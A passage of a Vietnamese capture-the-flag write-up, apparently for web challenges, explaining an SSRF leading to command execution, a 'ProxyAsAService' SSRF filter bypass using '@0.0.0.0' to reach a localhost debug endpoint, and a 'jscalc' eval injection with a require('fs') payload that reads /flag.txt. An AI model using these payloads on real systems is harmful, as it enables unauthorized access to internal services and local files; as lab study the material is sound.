![](https://hackmd.io/_uploads/BypXhh0zT.png) Như ta thấy, xuất hiện hàm `FetchServerInfo` có thể thực thi command: ![](https://hackmd.io/_uploads/ryMI2n0fp.png) Trong code Go, giá trị như `reqData.ServerInfo.Hostname` ở trên được truyền vào template HTML và hiển thị trong trang web thông qua template (`.tpl`): ``` <h2>Hostname: {{.ServerInfo.Hostname}}</h2> ``` Và khi gọi: ![](https://hackmd.io/_uploads/rJCbA20f6.png) Các kết quả trả về từ `FetchServerInfo` được in ra. Như vậy ta có thể lợi dụng request từ SSRF để thực thi hàm kia: ![](https://hackmd.io/_uploads/SytLypRfp.png) Kết quả: ![](https://hackmd.io/_uploads/B1nDypAfa.png) Oke vậy là thành công, mà không chỉ vậy ta có thể truyền đối số vào hàm theo ý muốn: ![](https://hackmd.io/_uploads/H12oJa0zp.png) Kết quả: ![](https://hackmd.io/_uploads/HkjAk60GT.png) Giờ chỉ việc đọc flag: ![](https://hackmd.io/_uploads/rJqNxaCGp.png) # ProxyAsAService ![image.png](https://hackmd.io/_uploads/HJ7cew1ma.png) Theo source, bài sẽ có 2 service là `proxy_api` và `debug` với 2 endpoints: - `/`: ![image.png](https://hackmd.io/_uploads/rJEfbPJmp.png) Ở đây nó sẽ request đến `target_url` để render toàn bộ web đó. `target_url` chúng ta có thể kiểm soát được biến `url` (đóng vai trò như path của URL của site `reddit.com`) ![image.png](https://hackmd.io/_uploads/BJko-vkQT.png) - `/debug/environment`: ![image.png](https://hackmd.io/_uploads/r1MyfDkQa.png) Nó thực thi command `os.environ` để list các biến môi trường và ở đây nó có flag (theo `Dockerfile`): ![image.png](https://hackmd.io/_uploads/BJQBzDJ7T.png) Okay, endpoint để lấy flag là `/debug/environment` cần điều kiện là ip localhost: ![image.png](https://hackmd.io/_uploads/rJ3KGv1Q6.png) Như vậy hướng ở đây là lợi dụng ở endpoint `/` để kiểm soát `target_url` trỏ đến `localhost:1337/debug/environment` Ta có thể khai thác dựa vào dùng `@` để redirect: `http://reddit.com@localhost:1337/debug/environment` Tuy nhiên có vài filter: ![image.png](https://hackmd.io/_uploads/rJ3UmDyXp.png) Bypass dễ dàng với `0.0.0.0`. Payload: `@0.0.0.0:1337/debug/environment` ![image.png](https://hackmd.io/_uploads/HkrT7Pkma.png) # jscalc ![image](https://hackmd.io/_uploads/SJAN4hzwp.png) Đi thẳng vào `routes/index.js`: ![image](https://hackmd.io/_uploads/rJ8DEhfwT.png) Hàm `calculate`: ![image](https://hackmd.io/_uploads/HJx54nfPa.png) Như vậy nó sử dụng eval để thực thi 1 đoạn code, cụ thể là fuction và trả về `${ formula }` với `formula` là input. ![image](https://hackmd.io/_uploads/HknxBnGvp.png) Vậy giờ cần sử dụng đoạn code JS để đọc `/flag.txt`: ![image](https://hackmd.io/_uploads/BJi7HnMPa.png) Nhận thấy app sử dụng NodeJS, ta có thể import `fs` và sử dụng `readdirSync()` để đọc file local với payload: `require('fs').readFileSync('/flag.txt').toString()` ![image](https://hackmd.io/_uploads/Syg1I2Mw6.png) # ApacheBlaze